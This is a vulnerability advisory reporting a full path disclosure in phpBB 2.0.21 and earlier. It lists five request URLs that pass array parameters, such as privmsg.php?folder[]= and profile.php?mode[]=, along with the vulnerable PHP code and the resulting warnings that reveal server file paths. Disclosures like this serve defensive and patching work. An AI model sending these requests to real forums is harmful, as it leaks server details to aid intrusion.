-------------------------------------------------------------------=0D
phpBB 2.0.21 Full Path Disclosure=0D
-------------------------------------------------------------------=0D
Discovered By zero [Moroccan Security Team]=0D
-------------------------------------------------------------------=0D
Details=0D
~~~~~~~=0D
Software: phpBB=0D
Website : www.phpbb.com/about.php=0D 
Version : phpBB 2.0.21 and prior=0D
-------------------------------------------------------------------=0D
=0D
http://localhost/phpBB2/privmsg.php?folder[]==0D 
=0D
# Code #=0D
=0D
if ( isset($HTTP_POST_VARS['folder']) || isset($HTTP_GET_VARS['folder']) )=0D
{=0D
	$folder = ( isset($HTTP_POST_VARS['folder']) ) ? $HTTP_POST_VARS['folder'] : $HTTP_GET_VARS['folder'];=0D
	$folder = htmlspecialchars($folder);=0D
=0D
	if ( $folder != 'inbox' && $folder != 'outbox' && $folder != 'sentbox' && $folder != 'savebox' )=0D
	{=0D
		$folder = 'inbox';=0D
	}=0D
}=0D
else=0D
{=0D
	$folder = 'inbox';=0D
}=0D
	=0D
# Result #=0D
=0D
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/privmsg.php on line 61=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 254=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/sessions.php on line 255=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/privmsg.php:61) in /www/phpbb2/includes/functions.php on line 941=0D
=0D
~~~~~~~~~~~~~~~~~~~~=0D
=0D
http://localhost/phpBB2/profile.php?mode[]==0D 
=0D
# Code #=0D
=0D
if ( isset($HTTP_GET_VARS['mode']) || isset($HTTP_POST_VARS['mode']) )=0D
{=0D
	$mode = ( isset($HTTP_GET_VARS['mode']) ) ? $HTTP_GET_VARS['mode'] : $HTTP_POST_VARS['mode'];=0D
	$mode = htmlspecialchars($mode);=0D
=0D
	...=0D
=0D
# Result #=0D
=0D
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/profile.php on line 77=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/profile.php:77) in /www/phpbb2/includes/functions.php on line 941=0D
=0D
~~~~~~~~~~~~~~~~~~~~=0D
=0D
http://localhost/phpBB2/posting.php?mode[]==0D 
=0D
# Code #=0D
=0D
$params = array('submit' => 'post', 'preview' => 'preview', 'delete' => 'delete', 'poll_delete' => 'poll_delete', 'poll_add' => 'add_poll_option', 'poll_edit' => 'edit_poll_option', 'mode' => 'mode');=0D
while( list($var, $param) = @each($params) )=0D
{=0D
	if ( !empty($HTTP_POST_VARS[$param]) || !empty($HTTP_GET_VARS[$param]) )=0D
	{=0D
		$$var = ( !empty($HTTP_POST_VARS[$param]) ) ? htmlspecialchars($HTTP_POST_VARS[$param]) : htmlspecialchars($HTTP_GET_VARS[$param]);=0D
	}=0D
=0D
# Result #=0D
=0D
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/posting.php on line 38=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 366=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/sessions.php on line 367=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 483=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 485=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/posting.php:38) in /www/phpbb2/includes/page_header.php on line 486=0D
=0D
~~~~~~~~~~~~~~~~~~~~=0D
=0D
http://localhost/phpBB2/groupcp.php?mode[]==0D 
=0D
# Code #=0D
=0D
if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )=0D
{=0D
	$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];=0D
	$mode = htmlspecialchars($mode);=0D
}=0D
else=0D
{=0D
	$mode = '';=0D
}=0D
=0D
# Result #=0D
=0D
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/groupcp.php on line 140=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 483=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 485=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/groupcp.php:140) in /www/phpbb2/includes/page_header.php on line 486=0D
=0D
~~~~~~~~~~~~~~~~~~~~=0D
=0D
http://localhost/phpBB2/modcp.php?mode[]==0D 
=0D
# Code #=0D
=0D
if ( isset($HTTP_POST_VARS['mode']) || isset($HTTP_GET_VARS['mode']) )=0D
{=0D
	$mode = ( isset($HTTP_POST_VARS['mode']) ) ? $HTTP_POST_VARS['mode'] : $HTTP_GET_VARS['mode'];=0D
	$mode = htmlspecialchars($mode);=0D
}=0D
...=0D
=0D
# Result #=0D
=0D
Warning: htmlspecialchars() expects parameter 1 to be string, array given in /www/phpbb2/modcp.php on line 83=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 483=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 485=0D
=0D
Warning: Cannot modify header information - headers already sent by (output started at /www/phpbb2/modcp.php:83) in /www/phpbb2/includes/page_header.php on line 486=0D
=0D
-------------------------------------------------------------------=0D
=0D
Greetz=0D
~~~~~~=0D
simo64, tahati, net_ghost, dabdoub, simo(d-i), iss4m, zerosecure, hunter, themenotor ...=0D
=0D
Contact=0D
~~~~~~~=0D
Author: Mourad [ zero ]=0D
  b0x : xzerox(at)linuxmail(dot)org =0D
        or bestyler(at)msn(dot)com